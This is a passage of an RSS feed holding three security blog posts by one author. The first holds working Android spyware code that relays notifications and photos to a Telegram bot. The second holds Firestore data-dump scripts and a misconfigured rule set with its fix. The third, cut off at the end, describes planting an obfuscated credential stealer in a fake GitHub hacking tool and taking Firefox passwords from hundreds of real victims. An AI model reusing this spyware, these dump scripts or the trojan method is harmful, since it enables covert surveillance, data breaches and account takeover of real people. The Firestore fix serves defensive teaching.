TimeUnit.SECONDS)<br>                        if (message != null) {<br>                            sendToTelegram(message)<br>                            Thread.sleep(1000) // Avoid rate limiting<br>                        }<br>                    } catch (e: Exception) {<br>                        Log.e(&quot;NotificationListener&quot;, &quot;Error processing queue&quot;, e)<br>                    }<br>                }<br>            }.start()<br>        }<br>    }<br><br>    private fun sendToTelegram(message: String) {<br>        try {<br>            val client = OkHttpClient()<br><br>            val url = &quot;https://api.telegram.org/bot$botToken/sendMessage&quot;<br><br>            val requestBody = FormBody.Builder()<br>                .add(&quot;chat_id&quot;, chatId)<br>                .add(&quot;text&quot;, message)<br>                .add(&quot;parse_mode&quot;, &quot;MarkdownV2&quot;)<br>                .build()<br><br>            val request = Request.Builder()<br>                ./service/https://medium.com/url(url)<br>                .post(requestBody)<br>                .build()<br><br>            client.newCall(request).enqueue(object : Callback {<br>                override fun onFailure(call: Call, e: IOException) {<br>                    Log.e(&quot;NotificationListener&quot;, &quot;Failed to send to Telegram&quot;, e)<br>                }<br><br>                override fun onResponse(call: Call, response: Response) {<br>                    if (response.isSuccessful) {<br>                        Log.d(&quot;NotificationListener&quot;, &quot;Sent to Telegram&quot;)<br>                    } else {<br>                        Log.e(&quot;NotificationListener&quot;, &quot;Failed to send to Telegram: ${response.code}&quot;)<br>                    }<br>                    response.close()<br>                }<br>            })<br>        } catch (e: Exception) {<br>            Log.e(&quot;NotificationListener&quot;, &quot;Error initiating Telegram request&quot;, e)<br>        }<br>    }<br>}</pre><p><strong>PhotoService.kt</strong><br> This file implements the PhotoService, which exfiltrates photos to Telegram every 10 seconds.</p><pre>package com.example.commandro<br><br>import android.app.Service<br>import android.content.Intent<br>import android.os.Build<br>import android.os.Handler<br>import android.os.IBinder<br>import android.os.Looper<br>import android.util.Log<br>import okhttp3.*<br>import okhttp3.MediaType.Companion.toMediaType<br>import okhttp3.RequestBody.Companion.asRequestBody<br>import java.io.File<br>import java.io.IOException<br><br>class PhotoService : Service() {<br><br>    private val botToken = &quot;8*******62:A******************************y7wU&quot;<br>    private val chatId = &quot;6*******4&quot;<br>    private val photoPath = &quot;/storage/emulated/0/Pictures/test.jpg&quot;<br>    private val handler = Handler(Looper.getMainLooper())<br>    private var isRunning = false<br><br>    private val photoRunnable = object : Runnable {<br>        override fun run() {<br>            try {<br>                sendPhotoToTelegram()<br>                handler.postDelayed(this, 10000) // Run every 10 seconds<br>            } catch (e: Exception) {<br>                Log.e(&quot;PhotoService&quot;, &quot;Error in photo loop&quot;, e)<br>            }<br>        }<br>    }<br><br>    override fun onCreate() {<br>        super.onCreate()<br>        Log.d(&quot;PhotoService&quot;, &quot;Service created&quot;)<br>    }<br><br>    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {<br>        Log.d(&quot;PhotoService&quot;, &quot;Service started&quot;)<br>        if (!isRunning) {<br>            isRunning = true<br>            handler.post(photoRunnable)<br>        }<br>        return START_STICKY<br>    }<br><br>    override fun onBind(intent: Intent?): IBinder? {<br>        return null<br>    }<br><br>    override fun onDestroy() {<br>        super.onDestroy()<br>        isRunning = false<br>        handler.removeCallbacks(photoRunnable)<br>        Log.d(&quot;PhotoService&quot;, &quot;Service destroyed&quot;)<br>    }<br><br>    private fun sendPhotoToTelegram() {<br>        try {<br>            val photoFile = File(photoPath)<br>            if (!photoFile.exists()) {<br>                Log.e(&quot;PhotoService&quot;, &quot;Photo not found at $photoPath&quot;)<br>                sendTelegramMessage(&quot;PhotoService: Photo not found at $photoPath&quot;)<br>                return<br>            }<br><br>            val client = OkHttpClient()<br>            val url = &quot;https://api.telegram.org/bot$botToken/sendPhoto&quot;<br><br>            val requestBody = MultipartBody.Builder()<br>                .setType(MultipartBody.FORM)<br>                .addFormDataPart(&quot;chat_id&quot;, chatId)<br>                .addFormDataPart(<br>                    &quot;photo&quot;,<br>                    photoFile.name,<br>                    photoFile.asRequestBody(&quot;image/jpeg&quot;.toMediaType())<br>                )<br>                .addFormDataPart(<br>                    &quot;caption&quot;,<br>                    &quot;PhotoService activated on ${Build.MANUFACTURER} ${Build.MODEL}&quot;<br>                )<br>                .build()<br><br>            val request = Request.Builder()<br>                ./service/https://medium.com/url(url)<br>                .post(requestBody)<br>                .build()<br><br>            client.newCall(request).enqueue(object : Callback {<br>                override fun onFailure(call: Call, e: IOException) {<br>                    Log.e(&quot;PhotoService&quot;, &quot;Failed to send photo to Telegram&quot;, e)<br>                }<br><br>                override fun onResponse(call: Call, response: Response) {<br>                    if (response.isSuccessful) {<br>                        Log.d(&quot;PhotoService&quot;, &quot;Photo sent to Telegram&quot;)<br>                    } else {<br>                        Log.e(&quot;PhotoService&quot;, &quot;Failed to send photo to Telegram: ${response.code}&quot;)<br>                    }<br>                    response.close()<br>                }<br>            })<br>        } catch (e: Exception) {<br>            Log.e(&quot;PhotoService&quot;, &quot;Error sending photo to Telegram&quot;, e)<br>            sendTelegramMessage(&quot;PhotoService: Error sending photo - ${e.message}&quot;)<br>        }<br>    }<br><br>    private fun sendTelegramMessage(message: String) {<br>        try {<br>            val client = OkHttpClient()<br>            val url = &quot;https://api.telegram.org/bot$botToken/sendMessage&quot;<br>            val requestBody = FormBody.Builder()<br>                .add(&quot;chat_id&quot;, chatId)<br>                .add(&quot;text&quot;, message)<br>                .add(&quot;parse_mode&quot;, &quot;MarkdownV2&quot;)<br>                .build()<br><br>            val request = Request.Builder()<br>                ./service/https://medium.com/url(url)<br>                .post(requestBody)<br>                .build()<br><br>            client.newCall(request).enqueue(object : Callback {<br>                override fun onFailure(call: Call, e: IOException) {<br>                    Log.e(&quot;PhotoService&quot;, &quot;Failed to send message to Telegram&quot;, e)<br>                }<br><br>                override fun onResponse(call: Call, response: Response) {<br>                    if (response.isSuccessful) {<br>                        Log.d(&quot;PhotoService&quot;, &quot;Message sent to Telegram&quot;)<br>                    } else {<br>                        Log.e(&quot;PhotoService&quot;, &quot;Failed to send message to Telegram: ${response.code}&quot;)<br>                    }<br>                    response.close()<br>                }<br>            })<br>        } catch (e: Exception) {<br>            Log.e(&quot;PhotoService&quot;, &quot;Error initiating Telegram message request&quot;, e)<br>        }<br>    }<br>}</pre><p><strong>Sample Screenshots:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*azOLehqkpZOCqxz9QeutWA.png" /><figcaption>Notifications received in telegram bot</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*YUMfSsEqnXR3fMjrao7CrA.png" /><figcaption>Photos received via bot</figcaption></figure><h4>A Call to Action</h4><p>This design in NotificationListenerService reveals a critical risk: with just one permission grant, an app can achieve persistence, capture notifications, and exfiltrate data indefinitely, all while remaining nearly invisible to the user. In an era of rising mobile malware, this poses a significant threat to Android users worldwide.</p><p>Despite my efforts to report this to Google’s Android Security Team, they initially dismissed it as “not a security vulnerability,” claiming it’s intended behavior. Google has assigned CVEs for similar issues (e.g., CVE-2018–9375 for clipboard abuse, CVE-2017–13288 for accessibility service misuse), and a simple mitigation (limiting post-reboot wake-up to the notification listener component) could address this flaw.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g8e8Vn7CZpNDijzJY9FmCg.png" /><figcaption>Response from Android Security Team</figcaption></figure><p>Thank you for reading, and happy hacking!<br> ~ <a href="https://www.linkedin.com/in/sethusatheesh/">Sethu Satheesh</a><br> Instagram: <a href="https://www.instagram.com/whxitte">@whxitte</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b50e0f217b34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Firestore Database Rules: A Pathway to Data Breaches]]></title>
            <link>https://medium.com/@S3THU/exploiting-firestore-database-rules-a-pathway-to-data-breaches-aa945476cc16?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa945476cc16</guid>
            <category><![CDATA[firebase]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Mon, 09 Sep 2024 05:51:09 GMT</pubDate>
            <atom:updated>2024-09-10T11:24:16.803Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sV3S0kMNH1H7voY-TEfMqg.png" /></figure><h3>Introduction</h3><p>In the world of cloud-based applications, Firebase Firestore provides a flexible and scalable NoSQL database solution. However, like any powerful tool, it comes with its own set of risks if not properly configured. One of the critical aspects of Firestore security is its database rules. These rules control access and permissions, but misconfigurations or weak rules can open the door to significant vulnerabilities. This write-up explores how i exploited Firestore database rules that caused serious data breach.</p><p>Ofcourse Firebase Firestore, provided by Google, is a cloud-based NoSQL database solution designed to offer better security and robust performance. As with other cloud services, Google ensures the underlying infrastructure’s security, including data storage and network protections. This encompasses physical security, network security, and system-level defenses to protect against unauthorized access and data breaches. However, while Google manages the security of the cloud infrastructure itself, the responsibility for configuring access controls and database rules falls to the users. Proper configuration of Firestore’s security rules is crucial because, despite Google’s extensive security measures, vulnerabilities in the user-defined rules can create significant risks. Misconfigurations, such as overly permissive access or inadequate validation, can expose sensitive data or allow unauthorized actions, leading to potential data breaches. Therefore, while cloud vendors provide foundational security, the onus is on users to implement and maintain robust security practices within their Firestore configurations to safeguard their data effectively.</p><p>Like in every pentesting, <strong>enumeration is the key</strong> to uncovering vulnerabilities. During this assessment, I initially found the Firestore API key embedded within a password reset link sent via email. This exposed key allowed me to interact with the Firestore database. Further investigation revealed that sensitive data, such as session ID for the user, was being transmitted in plain sight within requests after logging into the application. By intercepting and analyzing these requests, I was able to enumerate the database structure, including collections, documents, and additional internal details. This highlighted how critical enumeration is in exposing hidden weak points within an application, leading to a larger attack surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DCcfEjJ85pBDcGrAa7ieBw.png" /><figcaption>Exposed Firestore API Key and User Session id</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e9Ggj6yPKVm5CXZwUI5KeQ.png" /><figcaption>Database name and collection name details</figcaption></figure><p>As you can see the <strong>requests to the database are directly send from the front end</strong>. Firebase Firestore often encourages sending database requests directly from the frontend due to its seamless integration with mobile and web applications. This architecture simplifies development by allowing developers to interact with Firestore from client-side code, where they can read and write data without needing a dedicated backend server to handle requests.</p><p>While this makes development faster and more efficient, it also introduces significant security risks if not handled carefully. Since requests are sent directly from the client-side, the entire application is dependent on Firestore’s <strong>security rules</strong> to enforce access controls. If these rules are misconfigured or left too permissive, attackers can easily exploit them to gain unauthorized access to sensitive data, modify records, or perform other malicious actions. That’s what happened here.</p><p>Also while the <strong>Firestore API key</strong> is intended to be public and is used to identify the Firebase project, it doesn’t inherently provide access to the database. However, when combined with weak or misconfigured security rules, it can be exploited. During my pentest, I leveraged the exposed API key along with a session ID intercepted from the application to enumerate users and interact with the Firestore database. By analyzing authentication responses and bypassing weak security measures, I was able to extract sensitive information. This demonstrates that while the API key itself is not a vulnerability, it can become an attack vector when paired with poor security configurations.</p><p>During the course of my pentest, I gathered several key pieces of information that enabled me to exploit the Firestore database. First, I obtained the <strong>Firestore API key</strong> from a password reset link sent via email. While this key is generally public, it provided a starting point for further attacks. Next, I intercepted my <strong>user-specific session ID</strong> after logging into the application, which I used to maintain authenticated access. Finally, by interacting with the application and inspecting network traffic, I was able to extract <strong>database details</strong>, including collection names and other sensitive information. These pieces, when combined, gave me the ability to query the Firestore database directly and enumerate users, further expanding the attack surface.</p><p>If you know about NoSQL databases, like Firestore, differ significantly from traditional relational databases such as MySQL. Instead of using tables, NoSQL databases organize data into <strong>collections</strong>, which contain <strong>documents</strong> — the actual data entities. During my assessment, I was able to extract several collection names by intercepting database requests made by the application.</p><p>Initially, I attempted to exploit the Firestore database using only the Firestore API key. Since this key is publicly accessible and intended for client-side use, I hoped it would grant me direct access to the database. However, my attempt was met with a response indicating <strong>‘You are unauthorized’</strong>. This was expected, as the API key alone does not provide access without proper authentication and authorization through Firestore’s security rules. This initial failure highlighted the need for additional credentials and configurations.</p><p>The following was my first attempt script to dump data:</p><pre>import requests<br>api_key = &#39;AI**********************************zP8&#39;<br>project_id = &#39;FIRESTORE_DB-PROJECT_NAME&#39;<br>collection = &#39;COLLECTION_NAME&#39;<br>url = f&#39;https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents/{collection}?key={api_key}&#39;<br><br><br>response = requests.get(url)<br><br>if response.status_code == 200:<br>    print(&quot;Collection dump:&quot;, response.json())<br>else:<br>    print(f&quot;Failed to retrieve data: {response.status_code} - {response.text}&quot;)</pre><p>After the initial failure, I realized that an <strong>authorized user</strong> must have access to the database since users need to interact with the database to retrieve their data. Although I wasn’t certain if this would give me full access, I decided to make another attempt. This time, I added the <strong>authorization key</strong> — specifically, my <strong>session ID</strong> — to the script, simulating a request as an authenticated user. By doing so, I was able to interact with the database, gaining the privileges of an authorized user. The modified script looked like this:</p><pre>import requests<br><br>api_key = &#39;AI*******************************zP8&#39;<br>id_token = &#39;MY_SESSION_ID&#39;<br>project_id = &#39;FIRESTORE_DB-PROJECT_NAME&#39;<br>collection = &#39;COLLECTION_NAME&#39;<br>url = f&#39;https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents/{collection}?key={api_key}&#39;<br><br>headers = {<br>    &#39;Authorization&#39;: f&#39;Bearer {id_token}&#39;<br>}<br><br>response = requests.get(url, headers=headers)<br><br>if response.status_code == 200:<br>    print(&quot;Collection dump:&quot;, response.json())<br>else:<br>    print(f&quot;Failed to retrieve data: {response.status_code} - {response.text}&quot;)<br></pre><p>Then the magic happened !</p><p>I was able to access the entire collections with other user’s data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r96wU61bPZ2ho_PhmtkNcg.png" /><figcaption>Data Dump Sample 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NouJg_ZnAa_GB5OiaMU_kw.png" /><figcaption>Data dump sample 2</figcaption></figure><p>I was able to retrieve sensitive data from the entire collection instead of just accessing my own user data. This indicates a serious misconfiguration in the Firestore rules, which should have limited access to user-specific information. Proper Firestore security rules should restrict access to individual users’ data. A user should only be able to read or modify their own documents within the Firestore database. This can be achieved by validating the authenticated user’s UID against the document’s owner field.</p><p>Following the <strong>Principle of Least Privilege</strong> (PoLP) is essential for securing Firebase Firestore. This means users should only have access to the data necessary for their tasks, preventing unauthorized access to sensitive information. Properly configured rules ensure that each user can only interact with their own data, not the entire database. By limiting access and permissions, we minimize potential security risks and protect the database from misuse or exposure.</p><p>This was the misconfigured Firestore rule in use:</p><pre>match /COLLECTION_NAME_1/{uid} {<br>  allow read: if true;  // Problem: This allows anyone to read all data in the collection!<br>  <br>  allow update, write, create: if (request.resource.data.diff(resource.data).affectedKeys()<br>    .hasOnly([&#39;Name&#39;,&#39;organization&#39;,&#39;location&#39;,&#39;is******ser&#39;,&#39;phone&#39;,&#39;Level&#39;,&#39;roles&#39;,&#39;email&#39;,&#39;lastName&#39;,&#39;is*****ser&#39;]));<br><br>  match /COLLECTION_NAME_2/{id} {<br>    allow read, write: if request.auth.uid == uid;<br>  }<br>  <br>  match /COLLECTION_NAME_3/{id} {<br>    allow read: if request.auth.uid == uid;<br>  }<br>}</pre><p>The above Firestore security rule allows users to read any document in the /COLLECTION_NAME_1 collection but restricts updating or writing to specific fields. It also enforces that only the authenticated user (request.auth.uid) can read or write to their own COLLECTION_NAME_2 and COLLECTION_NAME_3.</p><p>Here’s a breakdown:</p><ol><li><strong>Read Permissions:</strong></li></ol><ul><li>All users are allowed to read any document within the /COLLECTION_NAME_1 collection with the condition allow read: if true;. This means no specific authentication or restriction is applied for reading data, which could lead to a security issue if sensitive information is stored in the collection.</li></ul><p><strong>2. Write/Update Permissions:</strong></p><ul><li>Users can update or write to a customer document, but only specific fields can be modified: [&#39;Name&#39;,&#39;organization&#39;,&#39;location&#39;,&#39;is*****ser&#39;,&#39;phone&#39;,&#39;Level&#39;,&#39;roles&#39;,&#39;email&#39;,&#39;lastName&#39;,&#39;is*****ser&#39;]. This prevents users from modifying other sensitive data, but it still doesn&#39;t restrict access to just their own document.</li></ul><p><strong>3. Nested Checkout Sessions and Subscriptions:</strong></p><ul><li>Users can read and write only their own checkout sessions (request.auth.uid == uid).</li><li>Similarly, users can only read their own COLLECTION_NAME_3.</li></ul><p>While the write restrictions provide some level of control, the lack of authentication checks on reading COLLECTION_NAME_1(allowing anyone to read any document) violates the Principle of Least Privilege. Ideally, users should only have access to their own data, ensuring that sensitive information is not exposed to unauthorized individuals.</p><p>Here is a good Firestore rule that can be applied:</p><pre>match /COLLECTION_NAME_1/{uid} {<br>  // Allow read only if the authenticated user is accessing their own data<br>  allow read: if request.auth != null &amp;&amp; request.auth.uid == uid;<br>  <br>  // Allow update, write, create for specific fields, but only for the user&#39;s own document<br>  allow update, write, create: if request.auth != null &amp;&amp; request.auth.uid == uid &amp;&amp;<br>    (request.resource.data.diff(resource.data).affectedKeys()<br>      .hasOnly([&#39;Name&#39;,&#39;organization&#39;,&#39;location&#39;,&#39;is*****ser&#39;,&#39;phone&#39;,&#39;Level&#39;,&#39;roles&#39;,&#39;email&#39;,&#39;lastName&#39;,&#39;is******ser&#39;]));<br><br>  // Restrict access to COLLECTION_NAME_2 so only the authenticated user can read/write<br>  match /COLLECTION_NAME_2/{id} {<br>    allow read, write: if request.auth != null &amp;&amp; request.auth.uid == uid;<br>  }<br>  <br>  // Restrict access to COLLECTION_NAME_3 so only the authenticated user can read<br>  match /COLLECTION_NAME_3/{id} {<br>    allow read: if request.auth != null &amp;&amp; request.auth.uid == uid;<br>  }<br>}</pre><p><strong>Why it’s good:</strong></p><ul><li>The read access (allow read: if request.auth != null &amp;&amp; request.auth.uid == uid;) ensures that only authenticated users can read <strong>their own data</strong>.</li><li>Write/update/create access is also restricted to specific fields for the authenticated user, improving security.</li><li>Nested collections (COLLECTION_NAME_2 and COLLECTION_NAME_3) are correctly limited to the authenticated user.</li></ul><p>This configuration follows the <strong>principle of least privilege</strong>, ensuring that users can only access their own data and nothing else.</p><p>It’s clear that properly configured Firebase rules are crucial for preventing data breaches. Even with robust security measures provided by Google or cloud providers, human errors in setting up these rules can lead to severe vulnerabilities. A misconfiguration, such as allowing open access to sensitive data, can result in unauthorized access and potential breaches. Therefore, it’s essential to double-check everything, from authentication settings to data access controls, to ensure data is protected and security best practices are followed.</p><p>Also as a pentester, it’s important not to give up on the first attempt. Often, initial failures are just opportunities to better understand the system’s logic and identify potential weaknesses. Keep testing different approaches, analyzing the reasoning behind the system’s behavior, and refining your techniques. Persistence, combined with a deep understanding of how things should work, will often lead to the discovery of critical vulnerabilities that may have been overlooked at first glance.</p><p>Ofcourse securing Firestore databases requires good understanding of security rules, also we can enhance it by the use of effective tools and resources. Firebase offers a <strong>Firestore Rules Simulator</strong>, which allows developers to test and validate their security rules before deployment. This tool helps in identifying potential issues by simulating read and write operations with various permissions. Additionally, third-party security tools can provide further validation and auditing capabilities, ensuring that the rules are correctly configured and that there are no overlooked vulnerabilities. Leveraging these resources can significantly enhance the security posture of Firestore implementations.</p><p>In conclusion, while Firebase Firestore offers robust and scalable database solutions, its security largely depends on the proper configuration of database rules. Our exploration highlights how misconfigured rules can lead to significant vulnerabilities, including unauthorized access and data breaches. By leveraging the principle of least privilege and thoroughly understanding and implementing Firebase security rules, developers can mitigate these risks effectively. Additionally, continuous testing, both automated and manual, is crucial in identifying and addressing potential security issues. Tools like the Firestore Rules Simulator and third-party security solutions are invaluable in this process. Remember, persistence and a strategic approach are key in penetration testing; never be discouraged by initial setbacks. Instead, refine your methods and continually seek out improvements. By applying these best practices and remaining vigilant, you can safeguard your Firestore database against potential threats and ensure that your application remains secure.</p><p><strong>Thanks for reading and Happy Hacking…</strong></p><p>Follow me here and on Instagram <a href="https://www.instagram.com/whxitte"><strong>@whxitte</strong></a></p><p>~ Sethu Satheesh</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa945476cc16" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Funny Hacking i’ve done #2: I Owned Every Possible Account of Over 500+ Victims]]></title>
            <link>https://medium.com/@S3THU/funny-hacking-ive-done-2-i-owned-every-possible-account-of-over-500-victims-4fbdf2d79f93?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fbdf2d79f93</guid>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Sat, 27 Apr 2024 14:00:53 GMT</pubDate>
            <atom:updated>2024-05-04T13:29:52.621Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hzOBLGrVjFhWAO0kVlFdIQ.jpeg" /></figure><p><strong>#Social_Engineering part 3</strong></p><p>Hello guys, my name is <a href="https://www.instagram.com/whxitte"><strong>Sethu satheesh</strong></a>, i am a cyber security researcher and a software engineer. I am going to take you on a ride through another funny, simple yet valuable hack I’ve accomplished. First of all if you are not following me follow me and check my other contents, and also do follow me on instagram<strong> </strong><a href="https://www.instagram.com/whxitte"><strong>@whxitte</strong></a><a href="http://instagram.com/whxite.exe"><strong> </strong></a><strong>.</strong></p><p>Read the <a href="https://medium.com/@S3THU/the-funniest-hacking-that-ive-done-turning-pranks-into-profits-800705fe7a83"><strong>first part</strong> </a>and <a href="https://medium.com/@S3THU/testing-a-mass-social-engineering-scam-through-github-i-owned-1000-accounts-bbc5e3746836"><strong>second part</strong></a><strong>.</strong></p><blockquote>I strongly recommend to read <a href="https://medium.com/@S3THU/testing-a-mass-social-engineering-scam-through-github-i-owned-1000-accounts-bbc5e3746836"><strong>Part 2</strong></a> for a better &amp; detailed understanding of this one.</blockquote><p>In the realm of cybersecurity, <strong>social engineering </strong>continues to be a potent tool used by hackers to exploit human vulnerabilities. This write-up delves into a <strong>social engineering experiment </strong>i’ve done<strong> </strong>that highlights the risks associated with blindly trusting and running code obtained from unverified sources and how dangerous it can go. Now, let’s rewind a bit and ask a fun question: have you ever been labeled a “<strong>script kiddie</strong>” or perhaps accused of being too eager to try out the latest hacking scripts from GitHub? It’s a common journey for many cybersecurity enthusiasts, whether they’re just beginners or have been in the game for a while. We’ve all been there, excitedly downloading tools and scripts without always reading the fine print.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*yHCz348JD_8AjskmJReYTw.jpeg" /></figure><p>Think about it: when you stumble upon an intriguing tool promising to crack Instagram passwords or unlock hidden Facebook secrets, your curiosity is increased. You download, you run the commands, and voila! But do you ever stop to think, “Is this tool really what it claims to be?”</p><p><strong>Let’s be real </strong>— most of us are guilty of skipping the code review and diving headfirst into the excitement of a new script. It’s like a box of chocolates; you never know what you’re gonna get! And that’s where the fun begins — or in the case of our hack, where the trap was set.</p><p>Picture this: an eager hacker downloads what they believe to be an Instagram cracking tool, oblivious to the fact that they’re about to become the victim themselves. It’s like handing over your security to a magic trick, hoping for a rabbit but getting a surprise instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/274/1*XOwa2yIklYR4okX6ocW-aw.jpeg" /></figure><p>So, before we delve deeper into our cybersecurity rabbit hole, let’s remember the golden rule: always <strong>verify</strong>, always <strong>scrutinize</strong>, and <strong>never trust</strong> a script blindly. Let’s believe in the <strong>‘zero trust rule’</strong>. After all, in the world of hacking, the real magic is in staying one step ahead of the tricksters.</p><p>By this hack i was able to get 500+ users as my victim and i owned almost all their online accounts !</p><p>Now let’s jump into what i did. In my <a href="https://medium.com/@S3THU/testing-a-mass-social-engineering-scam-through-github-i-owned-1000-accounts-bbc5e3746836"><strong>previous writeup</strong></a><strong> </strong>I mentioned that I acquired over 1000+ instagram accounts using a similar approach. However, I began to contemplate why limit myself to Instagram. What if I could gain access to every possible account belonging to an individual? Initially, this seemed like an impossible task through traditional hacking methods (Like phishing or any other things ). Then, a thought struck me — we often save our online account credentials in our browsers, myself included. Even if individuals only save some of their accounts, it’s a substantial treasure trove compared to just one Instagram account. If I could employ a technique to extract a person’s browser-saved credentials, I could potentially gain access to every saved account of theirs, right?”</p><p>That was my simple idea. I also have a condition — I don’t actively seek out victims and target them. Instead, the victims must come to me. It’s like I’ll just write a script, sit in my chair, drink coffee, and go about my everyday routine. Victims come to me naturally, almost like bugs are attracted to bug traps. Firstly, I needed to understand where browsers save passwords and their storage mechanism. For my initial research, I focused on the Firefox browser. I discovered that Firefox saves credentials in two files: <strong>logins.json</strong> and <strong>key4.db</strong>, both in an encrypted form. Also discovered that they are stored in firefox’s <strong>profile </strong>directory. We can get a file named <strong>profiles.ini </strong>in the firefox’s direcory and can locate the place where those 2 files are found. we will discuss about those in detail later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*e53lefCwHqkkkBaWNgKtjw.png" /><figcaption>Firefox’s directory containing profiles.ini</figcaption></figure><p>The ‘logins.json’ file stores login-related information, including website URLs, usernames, and encrypted passwords. On the other hand, the ‘key4.db’ file contains the encryption keys necessary to decrypt the passwords stored in ‘logins.json.’ Together, these files form a crucial part of Firefox’s password management system, ensuring that user credentials are securely stored and protected. And i assumed that if i get these 2 file of a target i could replace it with my own <strong>logins.json</strong> and <strong>key4.db </strong>files and can decrypt the victims passwords and usernames.</p><p>So i need the victim’s <strong>logins.json</strong> and <strong>key4.db. </strong>So i made a script to exfiltrate those 2 files (we may can get all the other firefox’s file like cookies data and others too). Not only exfiltrate,exfiltrate from them and send to me. I first tried telegram bot for sending and receiving files, but failed. Then i used <strong>Discord</strong> and it worked well. So my script will exfiltrate the 2 files (logins.jso<strong>n</strong> and key4.db) and send it to my Discord server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*1DRMAceHJ6771p6JCeS5gw.png" /><figcaption>Image of sending those files to my discord</figcaption></figure><p>So if anyone runs this file it will quickly send the login.json &amp; key4.db file to my discord server. But i can’t tell anyone to run this script and get those. There i used a trick. similar to the trick in the<strong> </strong><a href="https://medium.com/@S3THU/testing-a-mass-social-engineering-scam-through-github-i-owned-1000-accounts-bbc5e3746836"><strong>previous writeup</strong></a> i just wrote a prank Instagram bruteforce simulator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*WDsE6NAaMton5MN30jJC-g.png" /><figcaption>Instagram password cracking simulator</figcaption></figure><p>At first look this is a Instagram password bruteforce script. But it’s just a prank one just printing everything that i’ve hardcoded there. Actually behind this scene there is my firefox exfiltration script running. While executing this instagram cracking simulator the victim’s login.json and key4.db file will be send to my discord quickly.</p><p>The concept was simple. By <strong>embedding my exfiltration script within seemingly innocuous tools, like an Instagram hacking tool,</strong> I could trick unsuspecting users into unwittingly sending me their sensitive files. With each unsuspecting download and execution of the script, I gained credentials of many accounts of more and more users.</p><p>I also done an another trick, some people just rolls their eye over codes on github before downloading. So what i did was i obfuscated my python code.</p><blockquote><a href="https://www.baeldung.com/cs/code-obfuscation-benefits#introduction"><strong><em>Code obfuscation</em></strong></a><strong><em> is the process of transforming source code into a form that is difficult for humans to read, understand, or modify</em></strong><em>.</em></blockquote><p>So if anyone look at my code they will only see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nHj3fe6_YgkdHRYjHjxW2g.png" /><figcaption>Obfuscated python code</figcaption></figure><p>This is not a hard encoding or something, it’s easily reversible. However, the real challenge lies in the human element. Many newcomers to the hacking scene don’t bother looking at the code, and even if they do, they may not understand it if they lack coding knowledge or haven’t heard about obfuscation techniques. Even people who are experienced in hacking may overlook scrutinizing the code or feel lazy to decode obfuscated scripts. Instead, they often run the code fueled by enthusiasm or curiosity, without fully comprehending the potential risks hidden within.</p><p>The thing i did is,<strong> I posted this script on GitHub </strong>and provided all the commands for installation and run. By doing so, users could easily copy and paste the commands to run the tool without ever attempting to read the code. This exploits the common human psychology of laziness, which is another factor of social engineering. I am successfull in crafting the page look like an instagram hacking tool. I added topics (like hashtags in youtube and instagram) and it came to the top search result in instagram hacking tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c-e4dDKEars-DHD_1tdvug.png" /><figcaption>My discord server receiving the login.json and key4.db file</figcaption></figure><p>As you can see above, a user downloaded my tool from GitHub and run it by thinking it is to hack Instagram, which the files was then quickly sent to my Discord. What happened here? A person who believed themselves to be a hacker downloaded a supposed hacking tool from GitHub to target someone else’s account, only to unwittingly become a victim themselves. They either didn’t read or didn’t understand the code I had written and fell for my trap. This is precisely what occurred in this scenario.</p><p>Now that i got the 2 files, i’m upto decrypting it. I found a tool called <a href="https://github.com/unode/firefox_decrypt">firefox-decrypt</a> for that which takes the 2 file and shows the saved credentials. Using this trick i was able to decrypt and get the online accounts of lot of individuals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*JkzGmEV0zSvq9QS7fd7GmA.png" /><figcaption>Decrypted firefox saved credentials</figcaption></figure><p>The number of victims increases day by day because the tool becomes top result on github. I removed the tool from github after the research and demonstration.</p><p>As someone who once fell into this trap myself, I understand the allure of convenience and the temptation to take shortcuts. However, the consequences of blindly copying and pasting commands from a GitHub page without verifying their authenticity can be dire. In the hack i have done, <strong>i successfully used and exploited </strong>this human tendancy and mentality — the tendency to trust without verification, to act without scrutiny.</p><p><strong>This experiment </strong>underscores the need for heightened vigilance against social engineering attacks in today’s 